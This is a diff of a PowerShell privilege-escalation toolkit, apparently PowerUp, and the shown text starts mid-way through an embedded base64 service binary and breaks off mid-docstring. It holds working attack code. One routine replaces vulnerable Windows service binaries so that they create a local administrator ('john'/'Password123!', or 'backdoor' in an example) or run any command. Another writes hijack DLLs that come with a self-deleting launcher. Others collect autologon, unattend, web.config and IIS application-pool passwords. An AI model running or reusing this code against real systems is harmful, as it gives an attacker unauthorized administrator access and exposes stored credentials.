AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) - } - PROCESS { - if(-not $Command) { - if($UserName.Contains("\")) { - # adding a domain user to the local group, no creation - $Command = "net localgroup $LocalGroup $UserName /add" + if($PSBoundParameters['Command']) { + $ServiceCommand = $Command + } + else { + if($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password } else { - # creating a local user and adding to the local group - $Command = "net user $UserName $Password /add && timeout /t 2 && net localgroup $LocalGroup $UserName /add" + $UserNameToAdd = $UserName + $PasswordToAdd = $Password } + + if($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 2 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + } + + PROCESS { + + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop } # get the unicode byte conversions of all arguments $Enc = [System.Text.Encoding]::Unicode - $ServiceNameBytes = $Enc.GetBytes($ServiceName) - $CommandBytes = $Enc.GetBytes($Command) + $ServiceNameBytes = $Enc.GetBytes($TargetService.Name) + $CommandBytes = $Enc.GetBytes($ServiceCommand) # patch all values in to their appropriate locations - for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) { + for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) { # service name offset = 2458 $Binary[$i+2458] = $ServiceNameBytes[$i] } - for ($i=0; $i -lt ($CommandBytes.Length); $i++) { + for ($i=0; $i -lt ($CommandBytes.Length); $i++) { # cmd offset = 2535 $Binary[$i+2535] = $CommandBytes[$i] } - try { - Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force - } - catch { - $Msg = "Error while writing to location '$ServicePath': $_" - Write-Warning $Msg - $Command = $Msg - } + Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force -ErrorAction Stop $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name $Out | Add-Member Noteproperty 'ServicePath' $ServicePath - $Out | Add-Member Noteproperty 'Command' $Command + $Out | Add-Member Noteproperty 'Command' $ServiceCommand $Out } } @@ -1921,130 +2002,183 @@ function Install-ServiceBinary { <# .SYNOPSIS - Uses Write-ServiceBinary to write a C# service that creates a local UserName - and adds it to specified LocalGroup or executes a custom command. - Domain users are only added to the specified LocalGroup. + Replaces the service binary for the specified service with one that executes + a specified command as SYSTEM. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + Takes a ServiceProcess.ServiceController or a ServiceName where the current user can + modify the associated service binary listed in the binPath. Backs up the original + service binary to "OriginalService.exe.bak" in service binary location, and then + uses Write-ServiceBinary to create a C# service binary that either adds + a local administrator user or executes a custom command. The new service binary is + replaced in the original service binary path, and a custom object is returned that + captures the original and new service binary configuration. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName - The service name to manipulate. Required. + The service name the EXE will be running under. .PARAMETER UserName - The [DOMAIN\username] to add, defaults to 'john'. + The [domain\]username to add. If not given, it defaults to "john". + Domain users are not created, only added to the specified localgroup. .PARAMETER Password - The password to set for the added user, default to 'Password123!'. + The password to set for the added user. If not given, it defaults to "Password123!" .PARAMETER LocalGroup - Local group to add the user to, defaults to 'Administrators'. + Local group name to add the user to (default of 'Administrators'). + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object specifying the user/password to add. .PARAMETER Command - A custom command to execute. + Custom command to execute instead of user creation. .EXAMPLE PS C:\> Install-ServiceBinary -ServiceName VulnSVC - Replaces the binary for VulnSVC with one that adds a local administrator - to the local directory. Also backs up the original service binary. + Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary + for VulnSVC with one that adds a local Administrator (john/Password123!). + + .EXAMPLE + + PS C:\> Get-Service VulnSVC | Install-ServiceBinary + + Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary + for VulnSVC with one that adds a local Administrator (john/Password123!). .EXAMPLE - PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName "TESTLAB\john" + PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName 'TESTLAB\john' - Replaces the binary for VulnSVC with one that adds TESTLAB\john to the local - administrators to the local directory. Also backs up the original service binary. + Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary + for VulnSVC with one that adds TESTLAB\john to the Administrators local group. .EXAMPLE PS C:\> Install-ServiceBinary -ServiceName VulnSVC -UserName backdoor -Password Password123! - Replaces the binary for VulnSVC with one that adds a local administrator of - name 'backdoor' with password 'Password123!' to the local directory. - Also backs up the original service binary. + Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary + for VulnSVC with one that adds a local Administrator (backdoor/Password123!). .EXAMPLE PS C:\> Install-ServiceBinary -ServiceName VulnSVC -Command "net ..." - Replaces the binary for VulnSVC with one that executes a local command - to the local directory. Also backs up the original service binary. + Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary + for VulnSVC with one that executes a custom command. #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $ServiceName, + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $UserName = "john", + $UserName = 'john', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $Password = "Password123!", + $Password = 'Password123!', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] - $LocalGroup = "Administrators", + $LocalGroup = 'Administrators', + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] + [Management.Automation.PSCredential] + $Credential, + + [Parameter(ParameterSetName='Service')] + [Parameter(ParameterSetName='ServiceName')] [String] + [ValidateNotNullOrEmpty()] $Command ) + BEGIN { + if($PSBoundParameters['Command']) { + $ServiceCommand = $Command + } + else { + if($PSBoundParameters['Credential']) { + $UserNameToAdd = $Credential.UserName + $PasswordToAdd = $Credential.GetNetworkCredential().Password + } + else { + $UserNameToAdd = $UserName + $PasswordToAdd = $Password + } + + if($UserNameToAdd.Contains('\')) { + # only adding a domain user to the local group, no user creation + $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add" + } + else { + # create a local user and add it to the local specified group + $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 2 && net localgroup $LocalGroup $UserNameToAdd /add" + } + } + } + PROCESS { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - # make sure we got a result back - if ($TargetService){ - try { + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } - $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") - $BackupPath = $ServicePath + ".bak" + $ServiceDetails = Get-ServiceDetail -Service $TargetService - Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" - try { - Copy-Item -Path $ServicePath -Destination $BackupPath -Force - } - catch { - Write-Warning "[*] Original path '$ServicePath' for '$ServiceName' does not exist!" - } + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiableFile - $Arguments = @{ - 'ServiceName' = $ServiceName - 'ServicePath' = $ServicePath - 'UserName' = $UserName - 'Password' = $Password - 'LocalGroup' = $LocalGroup - 'Command' = $Command - } - # splat the appropriate arguments to Write-ServiceBinary - $Result = Write-ServiceBinary @Arguments - $Result | Add-Member Noteproperty 'BackupPath' $BackupPath - $Result - } - catch { - Write-Warning "Error: $_" - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName - $Out | Add-Member Noteproperty 'ServicePath' $ServicePath - $Out | Add-Member Noteproperty 'Command' $_ - $Out | Add-Member Noteproperty 'BackupPath' $BackupPath - $Out - } + if(-not $ModifiableFiles) { + throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } - else{ - Write-Warning "Target service '$ServiceName' not found on the machine" - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName - $Out | Add-Member Noteproperty 'ServicePath' "Not found" - $Out | Add-Member Noteproperty 'Command' "Not found" - $Out | Add-Member Noteproperty 'BackupPath' $Null - $Out + + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $BackupPath = "$($ServicePath).bak" + + Write-Verbose "Backing up '$ServicePath' to '$BackupPath'" + + try { + Copy-Item -Path $ServicePath -Destination $BackupPath -Force + } + catch { + Write-Warning "Error backing up '$ServicePath' : $_" } + + $Result = Write-ServiceBinary -ServiceName $ServiceDetails.Name -Command $ServiceCommand -ServicePath $ServicePath + $Result | Add-Member Noteproperty 'BackupPath' $BackupPath + $Result } } @@ -2053,73 +2187,91 @@ function Restore-ServiceBinary { <# .SYNOPSIS - Copies in the backup executable to the original binary path for a service. + Restores a service binary backed up by Install-ServiceBinary. + + .DESCRIPTION + + Takes a ServiceProcess.ServiceController or a ServiceName and checks for the + existence of an "OriginalServiceBinary.exe.bak". If it exists, the backup binary + is restored to the original location. + + .PARAMETER Service + + A ServiceProcess.ServiceController object from Get-Service. .PARAMETER ServiceName - The service name to manipulate. Required. - + The service name to restore a binary for. + .PARAMETER BackupPath Optional manual path to the backup binary. - + .EXAMPLE PS C:\> Restore-ServiceBinary -ServiceName VulnSVC - Restore the original binary for the service 'VulnSVC' + Restore the original binary for the service 'VulnSVC'. + + .EXAMPLE + + PS C:\> Restore-ServiceBinary -ServiceName VulnSVC -BackupPath C:\temp\backup.exe + + Restore the original binary for the service 'VulnSVC' from a custom location. + + .EXAMPLE + + PS C:\> Get-Service VulnSVC | Restore-ServiceBinary + + Restore the original binary for the service 'VulnSVC'. #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName='ServiceName')] Param( - [Parameter(ValueFromPipeline = $True, Mandatory = $True)] + [Parameter(ParameterSetName='Service', Mandatory = $True, Position = 0, ValueFromPipeline = $True)] + [ServiceProcess.ServiceController] + [ValidateNotNullOrEmpty()] + $Service, + + [Parameter(ParameterSetName='ServiceName', Position = 1, Mandatory = $True)] [String] + [ValidateNotNullOrEmpty()] $ServiceName, + [Parameter(Position = 2)] + [ValidateScript({Test-Path -Path $_ })] [String] $BackupPath ) PROCESS { - # query WMI for the service - $TargetService = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" | Where-Object {$_} - - # make sure we got a result back - if ($TargetService){ - try { - $ServicePath = ($TargetService.PathName.Substring(0, $TargetService.PathName.IndexOf(".exe") + 4)).Replace('"',"") + if($PSBoundParameters['Service']) { + $TargetService = $Service + } + else { + $TargetService = Get-Service -Name $ServiceName -ErrorAction Stop + } - if ($BackupPath -eq $null -or $BackupPath -eq ''){ - $BackupPath = $ServicePath + ".bak" - } + $ServiceDetails = Get-ServiceDetail -Service $TargetService - Copy-Item -Path $BackupPath -Destination $ServicePath -Force - Remove-Item -Path $BackupPath -Force + $ModifiableFiles = $ServiceDetails.PathName | Get-ModifiableFile - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName - $Out | Add-Member Noteproperty 'ServicePath' $ServicePath - $Out | Add-Member Noteproperty 'BackupPath' $BackupPath - $Out - } - catch{ - Write-Warning "Error: $_" - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName - $Out | Add-Member Noteproperty 'ServicePath' $_ - $Out | Add-Member Noteproperty 'BackupPath' $Null - $Out - } - } - else{ - Write-Warning "Target service '$ServiceName' not found on the machine" - $Out = New-Object PSObject - $Out | Add-Member Noteproperty 'ServiceName' $ServiceName - $Out | Add-Member Noteproperty 'ServicePath' "Not found" - $Out | Add-Member Noteproperty 'BackupPath' $Null - $Out + if(-not $ModifiableFiles) { + throw "Service binary '$($ServiceDetails.PathName)' for service $($ServiceDetails.Name) not modifiable by the current user." } + + $ServicePath = $ModifiableFiles | Select-Object -First 1 | Select-Object -ExpandProperty Path + $BackupPath = "$($ServicePath).bak" + + Copy-Item -Path $BackupPath -Destination $ServicePath -Force + Remove-Item -Path $BackupPath -Force + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.Name + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'BackupPath' $BackupPath + $Out } } @@ -2134,7 +2286,7 @@ function Find-DLLHijack { <# .SYNOPSIS - Checks all loaded modules for each process and returns locations + Checks all loaded modules for each process and returns locations where a loaded module does not exist in the executable base path. .PARAMETER ExcludeWindows @@ -2143,11 +2295,11 @@ function Find-DLLHijack { .PARAMETER ExcludeProgramFiles - Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* + Exclude paths from C:\Program Files\* and C:\Program Files (x86)\* .PARAMETER ExcludeOwned - Exclude processes the current user owns. + Exclude processes the current user owns. .EXAMPLE @@ -2220,7 +2372,7 @@ function Find-DLLHijack { # create a basepath + loaded module $ModulePath = "$BasePath\$($module.ModuleName)" - # if the new module path + # if the new module path if ((-not $ModulePath.Contains("C:\Windows\System32")) -and (-not (Test-Path -Path $ModulePath)) -and ($KnownDLLs -NotContains $Module.ModuleName)) { $Exclude = $False @@ -2238,7 +2390,7 @@ function Find-DLLHijack { # output the process name and hijackable path if exclusion wasn't marked if (-not $Exclude){ - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ProcessPath' $Process.Path $Out | Add-Member Noteproperty 'Owner' $ProcessOwner $Out | Add-Member Noteproperty 'HijackablePath' $ModulePath @@ -2256,7 +2408,7 @@ function Find-PathHijack { <# .SYNOPSIS - Checks if the current %PATH% has any directories that are + Checks if the current %PATH% has any directories that are writeable by the current user. .EXAMPLE @@ -2296,7 +2448,7 @@ function Find-PathHijack { $Null = New-Item -ItemType directory -Path $Path echo $Null > $TestPath - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'HijackablePath' $Path $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" $Out @@ -2312,19 +2464,19 @@ function Find-PathHijack { try { echo $Null > $TestPath - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'HijackablePath' $Path $Out | Add-Member Noteproperty 'AbuseFunction' "Write-HijackDll -OutputFile '$Path\wlbsctrl.dll' -Command '...'" $Out } - catch {} + catch {} finally { # Try to remove the item again just to be safe Remove-Item $TestPath -Force -ErrorAction SilentlyContinue } } } - + $ErrorActionPreference = $OrigError } @@ -2365,7 +2517,7 @@ function Write-HijackDll { $Command, [String] - $BatPath, + $BatPath, [String] $Arch @@ -2463,16 +2615,16 @@ function Write-HijackDll { # build the launcher .bat if (Test-Path $BatPath) { Remove-Item -Force $BatPath } - "@echo off\n" | Out-File -Encoding ASCII -Append $BatPath - "start /b $Command" | Out-File -Encoding ASCII -Append $BatPath + "@echo off\n" | Out-File -Encoding ASCII -Append $BatPath + "start /b $Command\n" | Out-File -Encoding ASCII -Append $BatPath 'start /b "" cmd /c del "%~f0"&exit /b' | Out-File -Encoding ASCII -Append $BatPath - + ".bat launcher written to: $BatPath" Set-Content -Value $DllBytes -Encoding Byte -Path $OutputFile "$Arch DLL Hijacker written to: $OutputFile" - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'OutputFile' $OutputFile $Out | Add-Member Noteproperty 'Architecture' $Arch $Out | Add-Member Noteproperty 'BATLauncherPath' $BatPath @@ -2504,7 +2656,7 @@ function Get-RegAlwaysInstallElevated { [CmdletBinding()] Param() - + $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" @@ -2545,7 +2697,7 @@ function Get-RegAutoLogon { <# .SYNOPSIS - Checks for DefaultUserName/DefaultPassword in the Winlogin registry section + Checks for DefaultUserName/DefaultPassword in the Winlogin registry section if the AutoAdminLogon key is set. .EXAMPLE @@ -2574,8 +2726,8 @@ function Get-RegAutoLogon { $AltDefaultUserName = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultUserName -ErrorAction SilentlyContinue).AltDefaultUserName $AltDefaultPassword = $(Get-ItemProperty -Path "HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" -Name AltDefaultPassword -ErrorAction SilentlyContinue).AltDefaultPassword - if ($DefaultUserName -or $AltDefaultUserName) { - $Out = New-Object PSObject + if ($DefaultUserName -or $AltDefaultUserName) { + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'DefaultDomainName' $DefaultDomainName $Out | Add-Member Noteproperty 'DefaultUserName' $DefaultUserName $Out | Add-Member Noteproperty 'DefaultPassword' $DefaultPassword @@ -2585,7 +2737,7 @@ function Get-RegAutoLogon { $Out } } -} +} function Get-VulnAutoRun { @@ -2617,7 +2769,7 @@ function Get-VulnAutoRun { $ErrorActionPreference = "SilentlyContinue" $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { - + $Keys = Get-Item -Path $_ $ParentPath = $_ @@ -2626,7 +2778,7 @@ function Get-VulnAutoRun { $Path = $($Keys.GetValue($Name)) $Path | Get-ModifiableFile | ForEach-Object { - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'Key' "$ParentPath\$Name" $Out | Add-Member Noteproperty 'Path' $Path $Out | Add-Member Noteproperty 'ModifiableFile' $_ @@ -2674,10 +2826,10 @@ function Get-VulnSchTask { if($TaskXML.Task.Triggers) { $TaskTrigger = $TaskXML.Task.Triggers.OuterXML - + # check schtask command $TaskXML.Task.Actions.Exec.Command | Get-ModifiableFile | ForEach-Object { - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger @@ -2686,7 +2838,7 @@ function Get-VulnSchTask { # check schtask arguments $TaskXML.Task.Actions.Exec.Arguments | Get-ModifiableFile | ForEach-Object { - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'TaskName' $TaskName $Out | Add-Member Noteproperty 'TaskFilePath' $_ $Out | Add-Member Noteproperty 'TaskTrigger' $TaskTrigger @@ -2707,7 +2859,7 @@ function Get-UnattendedInstallFile { <# .SYNOPSIS - Checks several locations for remaining unattended installation files, + Checks several locations for remaining unattended installation files, which may have deployment credentials. .EXAMPLE @@ -2720,7 +2872,7 @@ function Get-UnattendedInstallFile { http://www.fuzzysecurity.com/tutorials/16.html #> - + $OrigError = $ErrorActionPreference $ErrorActionPreference = "SilentlyContinue" @@ -2737,7 +2889,7 @@ function Get-UnattendedInstallFile { # test the existence of each path and return anything found $SearchLocations | Where-Object { Test-Path $_ } | ForEach-Object { - $Out = New-Object PSObject + $Out = New-Object PSObject $Out | Add-Member Noteproperty 'UnattendPath' $_ $Out } @@ -2746,11 +2898,11 @@ function Get-UnattendedInstallFile { } -function Get-Webconfig { +function Get-WebConfig { <# .SYNOPSIS - This script will recover cleartext and encrypted connection strings from all web.config + This script will recover cleartext and encrypted connection strings from all web.config files on the system. Also, it will decrypt them if needed. Author: Scott Sutherland - 2014, NetSPI @@ -2758,17 +2910,17 @@ function Get-Webconfig { .DESCRIPTION - This script will identify all of the web.config files on the system and recover the - connection strings used to support authentication to backend databases. If needed, the - script will also decrypt the connection strings on the fly. The output supports the - pipeline which can be used to convert all of the results into a pretty table by piping + This script will identify all of the web.config files on the system and recover the + connection strings used to support authentication to backend databases. If needed, the + script will also decrypt the connection strings on the fly. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping to format-table. - + .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. - PS C:\>get-webconfig + PS C:\> Get-WebConfig user : s1admin pass : s1password dbserv : 192.168.1.103\server1 @@ -2782,7 +2934,7 @@ function Get-Webconfig { vdir : C:\inetpub\wwwroot path : C:\inetpub\wwwroot\web.config encr : Yes - + .EXAMPLE Return a list of clear text and decrypted connect strings from web.config files. @@ -2810,7 +2962,7 @@ function Get-Webconfig { Below is an alterantive method for grabbing connection strings, but it doesn't support decryption. for /f "tokens=*" %i in ('%systemroot%\system32\inetsrv\appcmd.exe list sites /text:name') do %systemroot%\system32\inetsrv\appcmd.exe list config "%i" -section:connectionstrings #> - + [CmdletBinding()]Param() $OrigError = $ErrorActionPreference @@ -2819,33 +2971,33 @@ function Get-Webconfig { # Check if appcmd.exe exists if (Test-Path ("$Env:SystemRoot\System32\InetSRV\appcmd.exe")) { # Create data table to house results - $DataTable = New-Object System.Data.DataTable + $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") - $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("dbserv") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("path") $Null = $DataTable.Columns.Add("encr") - # Get list of virtual directories in IIS + # Get list of virtual directories in IIS C:\Windows\System32\InetSRV\appcmd.exe list vdir /text:physicalpath | - ForEach-Object { + ForEach-Object { $CurrentVdir = $_ # Converts CMD style env vars (%) to powershell env vars (env) - if ($_ -like "*%*") { + if ($_ -like "*%*") { $EnvarName = "`$Env:"+$_.split("%")[1] $EnvarValue = Invoke-Expression $EnvarName - $RestofPath = $_.split("%")[2] + $RestofPath = $_.split("%")[2] $CurrentVdir = $EnvarValue+$RestofPath } # Search for web.config files in each virtual directory $CurrentVdir | Get-ChildItem -Recurse -Filter web.config | ForEach-Object { - + # Set web.config path $CurrentPath = $_.fullname @@ -2854,7 +3006,7 @@ function Get-Webconfig { # Check if the connectionStrings are encrypted if ($ConfigFile.configuration.connectionStrings.add) { - + # Foreach connection string add to data table $ConfigFile.configuration.connectionStrings.add| ForEach-Object { @@ -2869,7 +3021,7 @@ function Get-Webconfig { $ConfEnc = "No" $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } - } + } } else { @@ -2884,15 +3036,15 @@ function Get-Webconfig { $WebConfigPath = (Get-Item $Env:temp).FullName + "\web.config" # Remove existing temp web.config - if (Test-Path ($WebConfigPath)) - { - Remove-Item $WebConfigPath + if (Test-Path ($WebConfigPath)) + { + Remove-Item $WebConfigPath } - + # Copy web.config from vdir to user temp for decryption Copy-Item $CurrentPath $WebConfigPath - #Decrypt web.config in user temp + #Decrypt web.config in user temp $aspnet_regiis_cmd = $aspnet_regiis_path.fullname+' -pdf "connectionStrings" (get-item $Env:temp).FullName' $Null = Invoke-Expression $aspnet_regiis_cmd @@ -2902,7 +3054,7 @@ function Get-Webconfig { # Check if the connectionStrings are still encrypted if ($TMPConfigFile.configuration.connectionStrings.add) { - + # Foreach connection string add to data table $TMPConfigFile.configuration.connectionStrings.add | ForEach-Object { @@ -2916,32 +3068,32 @@ function Get-Webconfig { $ConfEnc = "Yes" $Null = $DataTable.Rows.Add($ConfUser, $ConfPass, $ConfServ,$ConfVdir,$CurrentPath, $ConfEnc) } - } + } }else{ Write-Verbose "Decryption of $CurrentPath failed." - $False + $False } }else{ Write-Verbose "aspnet_regiis.exe does not exist in the default location." $False } - } + } } } - # Check if any connection strings were found + # Check if any connection strings were found if( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object user,pass,dbserv,vdir,path,encr | Select-Object user,pass,dbserv,vdir,path,encr -Unique } else { # Status user Write-Verbose "No connectionStrings found." $False - } + } } else { @@ -2958,19 +3110,19 @@ function Get-ApplicationHost { .SYNOPSIS This script will recover encrypted application pool and virtual directory passwords from the applicationHost.config on the system. - + .DESCRIPTION This script will decrypt and recover application pool and virtual directory passwords - from the applicationHost.config file on the system. The output supports the - pipeline which can be used to convert all of the results into a pretty table by piping + from the applicationHost.config file on the system. The output supports the + pipeline which can be used to convert all of the results into a pretty table by piping to format-table. - + .EXAMPLE Return application pool and virtual directory passwords from the applicationHost.config on the system. - - PS C:\>get-ApplicationHost + + PS C:\> Get-ApplicationHost user : PoolUser1 pass : PoolParty1! type : Application Pool @@ -2991,19 +3143,19 @@ function Get-ApplicationHost { type : Virtual Directory vdir : site2/ apppool : NA - + .EXAMPLE Return a list of cleartext and decrypted connect strings from web.config files. - - PS C:\>get-ApplicationHost | Format-Table -Autosize - + + PS C:\> Get-ApplicationHost | Format-Table -Autosize + user pass type vdir apppool ---- ---- ---- ---- ------- PoolUser1 PoolParty1! Application Pool NA ApplicationPool1 - PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 - VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA - VdirUser2 VdirPassword2! Virtual Directory site2/ NA + PoolUser2 PoolParty2! Application Pool NA ApplicationPool2 + VdirUser1 VdirPassword1! Virtual Directory site1/vdir1/ NA + VdirUser2 VdirPassword2! Virtual Directory site2/ NA .LINK @@ -3023,57 +3175,54 @@ function Get-ApplicationHost { $ErrorActionPreference = "SilentlyContinue" # Check if appcmd.exe exists - if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) - { + if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) { # Create data table to house results - $DataTable = New-Object System.Data.DataTable + $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add("user") - $Null = $DataTable.Columns.Add("pass") + $Null = $DataTable.Columns.Add("pass") $Null = $DataTable.Columns.Add("type") $Null = $DataTable.Columns.Add("vdir") $Null = $DataTable.Columns.Add("apppool") # Get list of application pools - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { - - #Get application pool name + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object { + + # Get application pool name $PoolName = $_ - - #Get username + + # Get username $PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username" - $PoolUser = Invoke-Expression $PoolUserCmd - - #Get password + $PoolUser = Invoke-Expression $PoolUserCmd + + # Get password $PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password" - $PoolPassword = Invoke-Expression $PoolPasswordCmd + $PoolPassword = Invoke-Expression $PoolPasswordCmd - #Check if credentials exists - if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) - { + # Check if credentials exists + if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) { #Add credentials to database - $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) + $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories - Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { + Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object { - #Get Virtual Directory Name + # Get Virtual Directory Name $VdirName = $_ - - #Get username + + # Get username $VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName" $VdirUser = Invoke-Expression $VdirUserCmd - - #Get password + + # Get password $VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password" $VdirPassword = Invoke-Expression $VdirPasswordCmd #Check if credentials exists - if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) - { + if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) { #Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } @@ -3081,15 +3230,16 @@ function Get-ApplicationHost { # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { - # Display results in list view that can feed into the pipeline - $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique + # Display results in list view that can feed into the pipeline + $DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique } - else{ + else { # Status user Write-Verbose "No application pool or virtual directory passwords were found." $False - } - }else{ + } + } + else { Write-Verbose "Appcmd.exe does not exist in the default location." $False } @@ -3117,7 +3267,7 @@ function Get-SiteListPassword { Optional path to a 